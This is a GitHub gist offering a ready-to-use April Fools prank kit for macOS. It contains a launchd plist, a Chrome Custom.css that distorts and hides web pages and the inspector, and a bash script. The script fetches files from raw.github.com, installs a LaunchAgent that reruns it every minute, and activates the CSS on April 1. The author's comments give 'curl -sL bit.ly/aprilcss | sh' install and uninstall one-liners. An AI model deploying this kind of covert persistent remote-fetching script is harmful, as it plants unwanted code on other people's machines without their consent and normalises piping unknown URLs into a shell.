Skip to content

Instantly share code, notes, and snippets.

@olivoil
Forked from nixpulvis/Custom.css
Last active December 15, 2015 14:59
Show Gist options
  • Save olivoil/5278662 to your computer and use it in GitHub Desktop.
Save olivoil/5278662 to your computer and use it in GitHub Desktop.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.fools</string>
<key>EnableGlobbing</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>~/.fools.sh</string>
</array>
<key>StartInterval</key>
<integer>60</integer>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
body { -webkit-transform: rotate(10deg); }
body { -webkit-animation: blur 30s infinite; }
img { -webkit-transform: rotate(180deg); }
body, p, body p, body div p { font-family: 'Comic Sans MS', cursive !important; }
p:before { content: "YOLO "; }
p:nth-child(2) { display:none !important; }
#-webkit-web-inspector { -webkit-transform:rotate(180deg); }
#-webkit-web-inspector .toolbar-item.close-left { display:none !important; }
html { -webkit-animation: rainbow 8s infinite; }
@-webkit-keyframes blur {
0% { -webkit-filter: blur(0px); }
49% { -webkit-filter: blur(0px); }
50% { -webkit-filter: blur(1px); }
51% { -webkit-filter: blur(0px); }
100% { -webkit-filter: blur(0px); }
}
@-webkit-keyframes spin {
0% { -webkit-transform: rotate(0deg); }
100% { -webkit-transform: rotate(360deg); }
}
@-webkit-keyframes rainbow {
100% { -webkit-filter: hue-rotate(360deg); }
}
#!/bin/bash
now=`date +"%m-%d"`
fools='04-01'
# Stage the css file for the attack.
if [[ ! -a /tmp/Custom.css ]]; then
curl -sL raw.github.com/gist/5278662/Custom.css > /tmp/Custom.css
fi
# If it's april fools move the attack into place.
if [[ $now == $fools ]]; then
mv /tmp/Custom.css ~/Library/Application\ Support/Google/Chrome/Default/User\ StyleSheets/Custom.css
fi
# Create timebomb in ~/.fools.sh
curl -sL raw.github.com/gist/5278662/fools.sh > ~/.fools.sh
chmod a+x ~/.fools.sh
# Create launchd plist in ~/Library/LaunchAgents and load it.
curl -sL raw.github.com/gist/5278662/com.fools.plist > ~/Library/LaunchAgents/com.fools.plist
launchctl load ~/Library/LaunchAgents/com.fools.plist
rm ~/Library/Application\ Support/Google/Chrome/Default/User\ StyleSheets/Custom.css
rm ~/.fools.sh
launchctl unload ~/Library/LaunchAgents/com.fools.plist
rm ~/Library/LaunchAgents/com.fools.plist
@olivoil
Copy link
Author

olivoil commented Mar 30, 2013

install with curl -sL bit.ly/aprilcss | sh

@olivoil
Copy link
Author

olivoil commented Apr 4, 2013

uninstall with curl -sL bit.ly/undoaprilcss | sh

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment